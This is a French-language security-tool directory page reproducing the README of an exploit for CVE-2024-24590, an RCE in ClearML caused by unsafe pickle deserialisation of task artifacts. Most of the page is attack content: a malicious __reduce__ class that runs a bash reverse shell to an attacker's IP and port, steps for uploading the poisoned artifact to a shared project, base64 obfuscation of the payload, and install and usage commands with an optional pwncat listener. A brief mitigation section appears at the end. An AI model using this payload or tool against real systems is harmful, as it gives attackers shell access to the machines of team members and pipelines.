Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – ClearML RCE via une désérialisation non sécurisée d'artefact pickle (0.17.0–1.14.2) | Kitploit
Outils/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRed TeamingOutil d'Accès à Distance
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – ClearML RCE via une désérialisation non sécurisée d'artefact pickle (0.17.0–1.14.2)

Voir le dépôt
62il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-24590 — Exécution de code à distance via des artefacts Pickle dans ClearML

Aperçu

ChampDétails
CVECVE-2024-24590
LogicielClearML
Versions affectées0.17.0 – 1.14.2
VulnérabilitéDésérialisation non sécurisée de Pickle pour les artefacts de tâche
AuthentificationNécessite un accès en écriture à un projet ClearML
ImpactExécution de code à distance sur toute machine qui charge l’artefact
Testé surUbuntu 22.04, Python 3.9+

Description

ClearML est une plateforme MLOps utilisée pour suivre les expériences, gérer les ensembles de données et partager des artefacts (modèles, fichiers, objets) entre les membres de l’équipe. Lorsqu’un artefact de tâche est téléchargé en tant qu’objet Python, ClearML le sérialise avec le module pickle de Python. Lorsqu’un autre utilisateur télécharge et charge cet artefact, ClearML le désérialise — également avec pickle — sans aucune vérification d’intégrité ni liste blanche de classes.

Un attaquant disposant d’un accès en écriture à un projet ClearML partagé peut télécharger un artefact malveillant contenant une méthode __reduce__ surchargée. Tout membre de l’équipe ou pipeline automatisé qui récupère et charge cet artefact exécutera la charge utile de l’attaquant lors de la désérialisation, réalisant ainsi une exécution de code à distance sur sa machine.

Détails techniques

Cause racine

Le module pickle de Python est fondamentalement dangereux pour une entrée non fiable. La méthode magique __reduce__ d’une classe contrôle la manière dont elle est reconstruite pendant la désérialisation — elle peut retourner n’importe quel appelable et arguments, y compris os.system :

root@kitploit:~
class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

Lorsque l’objet est picklé puis unpicklé, Python appelle os.system(cmd) dans le cadre de la reconstruction de l’objet — avant que l’appelant n’ait la moindre chance d’inspecter l’objet.

Déroulement de l’attaque

root@kitploit:~
Attaquant (accès en écriture au projet)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
Le serveur ClearML stocke l’artefact comme un blob binaire picklé
    │
    ▼
La victime récupère l’artefact (pipeline automatisé / revue manuelle)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ est déclenché → os.system(reverse_shell_cmd)
    │
    ▼
Un shell inversé se connecte à l’attaquant

Encodage de la charge utile

La commande du shell inversé est encodée en Base64 avant d’être intégrée pour éviter les problèmes de citation de shell dans la chaîne sérialisée :

root@kitploit:~
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

Prérequis

  • Un compte ClearML avec accès en écriture à au moins un projet sur le serveur cible
  • La victime doit désérialiser l’artefact (le récupérer via le SDK ClearML)

Installation

root@kitploit:~
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

Prérequis : clearml, pwntools, colorama

Utilisation

root@kitploit:~
python3 exploit.py

Le menu interactif guide en deux étapes :

Étape 1 — Initialiser ClearML (option 1)

Exécute clearml-init pour configurer les identifiants pour le serveur ClearML cible. Sauvegarde d’abord tout fichier ~/clearml.conf existant.

Étape 2 — Exécuter l’exploit (option 2)

Demande :

  • Votre IP d’écoute
  • Votre port d’écoute
  • Le nom du projet cible (sensible à la casse — doit être un projet pour lequel vous avez un accès en écriture)

Optionnellement, démarre un écouteur pwncat automatiquement avant de télécharger l’artefact.

screenshot

Atténuation

  • Mettez à niveau ClearML vers ≥ 1.14.3 qui restreint la désérialisation des artefacts
  • Auditez les contrôles d’accès au projet — limitez l’accès en écriture aux seuls utilisateurs de confiance
  • Considérez le stockage d’artefacts ClearML comme une surface d’exécution de code non fiable si vous utilisez des versions plus anciennes

Références

  • Entrée NVD
  • ClearML GitHub
  • Avertissement de sécurité de pickle Python
Télécharger l’outil